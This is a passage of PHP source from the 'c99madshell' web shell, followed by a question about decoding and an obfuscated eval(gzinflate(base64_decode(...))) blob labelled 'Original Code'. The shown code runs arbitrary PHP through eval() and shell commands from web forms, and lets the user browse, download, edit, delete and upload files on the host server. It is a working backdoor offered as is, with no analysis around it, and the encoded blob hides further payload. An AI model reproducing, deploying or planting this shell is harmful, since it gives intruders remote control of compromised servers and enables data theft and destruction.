    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
   }
   else {echo $ret."<br>";}
  }
  else
  {
   if ($eval_txt)
   {
    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
    eval($eval);
    echo "</textarea>";
   }
   else {echo $ret;}
  }
  @chdir($olddir);
 }
 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
 echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".@htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
 {
  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
 }
 else
 {
	$arr = array(
   array("HTML","html"),
   array("TXT","txt"),
   array("CODE","code"),
   array("DOWNLOAD","download"),
   array("EDIT","edit"),
   array("DELETE","delete")
  );
  $r = @file_get_contents($d.$f);
  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(@filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>";
  foreach($arr as $t)
  {
echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";
   echo " |";
  }
  echo "<hr size=\"1\" noshade>";
 if ($ft == "download")
  {
   @ob_clean();
   header("Content-type: application/octet-stream");
   header("Content-length: ".filesize($d.$f));
   header("Content-disposition: attachment; filename=\"".$f."\";");
   echo($r);
   c99shexit();
  } elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} elseif ($ft == "html")
  {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {c99shexit();}
  } elseif ($ft == "code") {
   echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
   if (!empty($white)) {@ob_clean();}
   highlight_file($d.$f);
   if (!empty($white)) {c99shexit();}
   echo "</div>";
  } elseif($ft== 'delete') {
	  if(!fs_rmobj($d.$f)){
		  echo('<font color="red">Delete error</font>');
	  } else {
		  echo('<font color="green">Delete succes</font>');
	  }
} elseif ($ft == "edit") {
	if (!empty($submit)) {
		if(save_file($d.$f, $edit_text)) {
			echo('<b>Saved!</b>');
		} else {
			echo('<b>Can\'t write to file!</b>');
		}
		$r = $edit_text;
   }
   echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"180\" rows=\"25\">".htmlspecialchars($r)."</textarea></form>";
  }
 }
}
?>

</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: Command execute ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>:: Enter ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>:: Select ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: Search ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: Upload ::</b><form method="POST" name="tod" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="file" name="uploadfile"><input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>

</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. <?php echo $shver; ?><a href="#" OnClick="document.todo.act.value='about';document.todo.submit();"><u> EDITED BY </b><b>MADNET, k1b0rg</u></b> </a> ]--</b></p></td></tr></table>

</body></html><?php chdir($lastdir); c99shexit();

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('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